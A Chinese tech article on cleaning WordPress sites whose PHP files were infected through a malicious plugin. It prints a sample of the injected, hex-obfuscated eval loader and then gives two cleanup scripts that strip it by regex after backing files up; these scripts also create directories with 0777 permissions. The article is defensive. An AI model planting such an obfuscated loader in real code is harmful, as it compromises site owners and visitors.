Home > Article > Backend Development > Detailed explanation of how PHP removes malicious code from WordPress
Detailed explanation of how PHP removes malicious code from WordPress
- *文Original
- 2018-01-05 18:01:031750browse
本文主要介绍了PHP实现清除wordpress里恶意代码的方法以及相关代码和使用方法，有需要的小伙伴可以参考下。希望对大家有所帮助。
公司一些wordpress网站由于下载的插件存在恶意代码，导致整个服务器所有网站PHP文件都存在恶意代码，就写了个简单的脚本清除。
恶意代码示例
<?php
if (!isset($GLOBALS["\x61\156\x75\156\x61"])) {
$ua = strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]);
if ((!strstr($ua, "\x6d\163\x69\145")) and (!strstr($ua, "\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"] = 1;
}
?>
<?php
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$wzmdmzzyol = explode(chr((176 - 132)), '7239,44,5287,69,1871,39,5903,37,1727,36,2772,60,2055,59,48,57,9678,48,9945,68,3362,48,2527,64,5005,39,3740,40,1289,53,2884,49,5753,63,6161,62,3898,52,7746,48,1132,62,7619,64,4407,30,4922,29,5848,22,105,65,3106,69,6337,30,6099,62,9351,27,5113,49,3552,22,470,29,3971,58,8590,38,9601,42,6586,65,9237,70,7433,37,2667,30,4752,55,7353,42,4098,40,815,38,9529,48,2933,31,2337,56,499,33,6523,63,6651,46,3950,21,4310,40,793,22,3837,61,3175,61,9888,57,4664,50,880,68,9307,44,3410,55,5517,43,4621,43,8371,61,4270,40,755,38,8045,37,1679,48,532,63,8217,62,3640,51,2223,25,3780,57,2160,37,5227,60,9577,24,4865,57,1910,29,8923,48,2503,24,1601,31,335,58,6420,24,3236,35,2591,51,3465,64,9047,55,7470,64,8279,51,9858,30,7891,69,6967,57,3529,23,8689,40,7960,33,2964,23,2987,46,5634,56,6267,70,8545,45,3302,60,8870,53,4201,43,3574,66,853,27,1071,61,225,56,4138,63,2832,52,4537,29,6470,23,8432,46,6055,44,1632,47,6921,46,2308,29,1030,41,8162,30,7993,52,7192,47,2114,46,2393,67,7024,30,4437,41,9017,30,9171,66,4951,54,6493,30,5988,67,8192,25,9378,52,717,38,8141,21,8628,61,6754,48,2197,26,7395,38,5356,58,595,22,1546,29,2007,48,1447,31,4566,55,2460,43,6223,44,1352,42,8799,23,948,50,4714,38,1478,68,3073,33,1575,26,4509,28,2724,48,9484,45,998,32,5591,43,10037,69,5816,32,7534,29,6444,26,5162,65,7683,63,4478,31,8082,59,170,55,7836,55,4843,22,8330,41,1394,53,3691,49,6367,53,4350,57,9643,35,2697,27,8822,48,1835,36,1221,68,8478,67,9816,42,6802,28,5560,31,3271,31,5414,68,4029,30,281,54,418,52,7076,55,5940,48,2248,60,4244,26,4059,39,9726,39,7054,22,8759,40,6870,51,1939,68,9430,54,7563,56,6697,57,3033,40,8971,46,7794,42,9102,69,683,34,5870,33,8729,30,617,66,7131,39,5482,35,9765,51,5044,69,4807,36,2642,25,7283,70,6830,40,393,25,1806,29,7170,22,1763,43,1194,27,10013,24,0,48,5690,63,1342,10');
$yhjbllsvwt = substr($bssaiikhvn, (33905 - 23799), (41 - 34));
if (!function_exists('bggbbjvwgq')) {
function bggbbjvwgq($vawbzzfouj, $wiijrfgknq)
{
$goicwhrdcc = NULL;
for ($ipzagsxozk = 0; $ipzagsxozk < (sizeof($vawbzzfouj) / 2); $ipzagsxozk++) {
$goicwhrdcc .= substr($wiijrfgknq, $vawbzzfouj[($ipzagsxozk * 2)], $vawbzzfouj[($ipzagsxozk * 2) + 1]);
}
return $goicwhrdcc;
}
;
}
$urvbwkljhb = "\x20\57\x2a\40\x67\150\x6a\145\x73\165\x77\166\x7a\146\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\67\x35\55\x31\63\x38\51\x29\54\x20\143\x68\162\x28\50\x35\67\x32\55\x34\70\x30\51\x29\54\x20\142\x67\147\x62\142\x6a\166\x77\147\x71\50\x24\167\x7a\155\x64\155\x7a\172\x79\157\x6c\54\x24\142\x73\163\x61\151\x69\153\x68\166\x6e\51\x29\51\x3b\40\x2f\52\x20\153\x6d\151\x73\166\x7a\161\x63\153\x68\40\x2a\57\x20";
$jtgibaqypx = substr($bssaiikhvn, (45338 - 35225), (40 - 28));
$jtgibaqypx($yhjbllsvwt, $urvbwkljhb, NULL);
$jtgibaqypx = $urvbwkljhb;
$jtgibaqypx = (775 - 654);
$bssaiikhvn = $jtgibaqypx - 1; ?>恶意代码清理程序
<?php
/**
* 文件名：delUnwantedCode.php
* 功能：删除FTP里恶意代码
* 使用说明：
* 请将文件上传到需要清除恶意代码的目录，然后通过CLI或浏览器访问即可，原有被感染的文件会自动备份
*/
$path = dirname(__FILE__); #定义需要处理的目录
$bak_path = $path.DIRECTORY_SEPARATOR.basename(__FILE__,'.php'); #定义源文件备份目录，程序过滤恶意代码前，先按原有的路径备份文档到此目录
$fileType = array('php'); #定义需要处理的文件类型（后缀名），小写
$search = array('@<\?php\s*if\(\!isset\(\$GLOBALS\["\\\x61\\\156\\\x75\\\156\\\x61"\]\)\).*\$bssaiikhvn=\$jtgibaqypx-1;\s*\?>@si'); #定义需要过滤的恶意代码规则
$search_count = array(
'all_file'=>array(), #所有文件
'search_file0'=>array(), #没有恶意代码文件
'search_file1'=>array() #含有恶意代码文件
);
$filelist = listDir($path,$fileType,false); #读取目录里符合条件文件列表
if(!empty($filelist)){
foreach ($filelist as $file){
$file = (isset($file['name'])?$file['name']:$file);
$search_count['all_file'][] = $file;
$fileContent = file_get_contents($file);
$compile_fileContent = preg_replace($search, '', $fileContent);
if(strlen($fileContent) != strlen($compile_fileContent) && str_replace($bak_path, '', $file)==$file){
#过滤后文件长度不一致，则表示含有恶意代码（备份文件所在目录不过滤）
$search_count['search_file1'][] = $file;
############备份原有文件 开始###############
$bakFile = str_replace($path, $bak_path, $file);
@make_dir(dirname($bakFile));
@file_put_contents($bakFile, $fileContent);
############备份原有文件 结束###############
#重新写入过滤后的内容到原有的PHP文件
@file_put_contents($file, $compile_fileContent);
}else{
$search_count['search_file0'][] = $file;
}
}
}
#print_r($search_count);die;
echo sprintf('从%s里共搜索到%s个符合条件的文件，其中%s个存在恶意代码，已处理结束',$path,count($search_count['all_file']), count($search_count['search_file1']));die;
########################
## 辅助函数
########################
/**
* 检查目标文件夹是否存在，如果不存在则自动创建该目录
*
* @access public
* @param string folder 目录路径。不能使用相对于网站根目录的URL
*
* @return bool
*/
function make_dir($folder){
$reval = false;
if (!file_exists($folder)){
#如果目录不存在则尝试创建该目录
@umask(0);
#将目录路径拆分成数组
preg_match_all('/([^\/]*)\/?/i', $folder, $atmp);
#如果第一个字符为/则当作物理路径处理
$base = ($atmp[0][0] == '/') ? '/' : '';
#遍历包含路径信息的数组
foreach ($atmp[1] AS $val){
if ('' != $val){
$base .= $val;
if ('..' == $val || '.' == $val){
#如果目录为.或者..则直接补/继续下一个循环
$base .= '/';
continue;
}
}else{
continue;
}
$base .= '/';
if (!file_exists($base)){
#尝试创建目录，如果创建失败则继续循环
if (@mkdir(rtrim($base, '/'), 0777)){
@chmod($base, 0777);
$reval = true;
}
}
}
}else{
#路径已经存在。返回该路径是不是一个目录
$reval = is_dir($folder);
}
clearstatcache();
return $reval;
}
########获取目录下所有文件，包括子目录 开始################
function listDir($path,$fileType=array(),$fileInfo=true){
$path = str_replace(array('/','\\'), DIRECTORY_SEPARATOR, $path);
if(!file_exists($path)||!is_dir($path)){
return '';
}
if(substr($path, -1,1)==DIRECTORY_SEPARATOR){
$path = substr($path, 0,-1);
}
$dirList=array();
$dir=opendir($path);
while($file=readdir($dir)){
#若有定义$fileType，并且文件类型不在$fileType范围内或文件是一个目录，则跳过
if($file!=='.'&&$file!=='..'){
$file = $path.DIRECTORY_SEPARATOR.$file;
if(is_dir($file)){
if(empty($fileType)){
$dirList[] = ($fileInfo==true?array('name'=>$file,'isDir'=>intval(is_dir($file))):$file);
}
$dirList = array_merge($dirList,listDir($file,$fileType));
}elseif(!empty($fileType) && (in_array(pathinfo($file, PATHINFO_EXTENSION), $fileType))){
$dirList[] = ($fileInfo==true?array('name'=>$file,'isDir'=>intval(is_dir($file)),'md5_file'=>md5_file($file),'filesize'=>filesize($file),'filemtime'=>filemtime($file)):$file);
}
};
};
closedir($dir);
return $dirList;
}
########获取目录下所有文件，包括子目录 结束################删除FTP里恶意代码(支持任意数量的文件处理)
<?php
/**
* 文件名：delAllUnwantedCode.php
* 功能：删除FTP里恶意代码(支持任意数量的文件处理)
* 使用说明：
* 请将文件上传到需要清除恶意代码的目录，然后通过CLI或浏览器访问即可，原有被感染的文件会自动备份
*/
set_time_limit(0);ignore_user_abort(true);
$path = dirname(__FILE__); #定义需要处理的目录
$bak_path = $path.DIRECTORY_SEPARATOR.basename(__FILE__,'.php'); #定义源文件备份目录，程序过滤恶意代码前，先按原有的路径备份文档到此目录
$fileType = array('php'); #定义需要处理的文件类型（后缀名），小写
$search = array('@<\?php\s*if\(\!isset\(\$GLOBALS\["\\\x61\\\156\\\x75\\\156\\\x61"\]\)\).*\$bssaiikhvn=\$jtgibaqypx-1;\s*\?>@si'); #定义需要过滤的恶意代码规则
$file_count = array(
'all_file'=>0, #所有文件
'filter_file'=>0 #含有恶意代码文件
);
replaceUnwantedCode($path); #执行过滤
#print_r($search_count);die;
echo sprintf('从%s里共搜索到%s个符合条件的文件，其中%s个存在恶意代码已清理，原始文件保存在%s',$path, ($file_count['all_file']), ($file_count['filter_file']), $bak_path);die;
function replaceUnwantedCode($path){
global $bak_path,$fileType,$search,$file_count;
$path = str_replace(array('/','\\'), DIRECTORY_SEPARATOR, $path);
if(!file_exists($path)||!is_dir($path)){
return '';
}
if(substr($path, -1,1)==DIRECTORY_SEPARATOR){
$path = substr($path, 0,-1);
}
$dir=opendir($path);
while($file=readdir($dir)){
#若有定义$fileType，并且文件类型不在$fileType范围内或文件是一个目录，则跳过
if($file!=='.'&&$file!=='..'){
$file = $path.DIRECTORY_SEPARATOR.$file;
if(is_dir($file)){
replaceUnwantedCode($file);
}elseif(!empty($fileType) && (in_array(pathinfo($file, PATHINFO_EXTENSION), $fileType))){
################################
@$file_count['all_file']++;
$fileContent = file_get_contents($file); #文件原始代码
$compile_fileContent = preg_replace($search, '', $fileContent); #过滤后的内容
if(strlen($fileContent) != strlen($compile_fileContent) && str_replace($bak_path, '', $file)==$file){
#过滤后文件长度不一致，则表示含有恶意代码（备份文件所在目录不过滤）
$file_count['filter_file']++;
############备份原有文件 开始###############
$bakFile = str_replace($path, $bak_path, $file);
@make_dir(dirname($bakFile));
@file_put_contents($bakFile, $fileContent);
############备份原有文件 结束###############
#重新写入过滤后的内容到原有的PHP文件
@file_put_contents($file, $compile_fileContent);
}
################################
unset($fileContent,$compile_fileContent);
}
};
};
closedir($dir);
return true;
}
########################
## 辅助函数
########################
/**
* 检查目标文件夹是否存在，如果不存在则自动创建该目录
*
* @access public
* @param string folder 目录路径。不能使用相对于网站根目录的URL
*
* @return bool
*/
function make_dir($folder){
$reval = false;
if (!file_exists($folder)){
#如果目录不存在则尝试创建该目录
@umask(0);
#将目录路径拆分成数组
preg_match_all('/([^\/]*)\/?/i', $folder, $atmp);
#如果第一个字符为/则当作物理路径处理
$base = ($atmp[0][0] == '/') ? '/' : '';
#遍历包含路径信息的数组
foreach ($atmp[1] AS $val){
if ('' != $val){
$base .= $val;
if ('..' == $val || '.' == $val){
#如果目录为.或者..则直接补/继续下一个循环
$base .= '/';
continue;
}
}else{
continue;
}
$base .= '/';
if (!file_exists($base)){
#尝试创建目录，如果创建失败则继续循环
if (@mkdir(rtrim($base, '/'), 0777)){
@chmod($base, 0777);
$reval = true;
}
}
}
}else{
#路径已经存在。返回该路径是不是一个目录
$reval = is_dir($folder);
}
clearstatcache();
return $reval;
}相关推荐：
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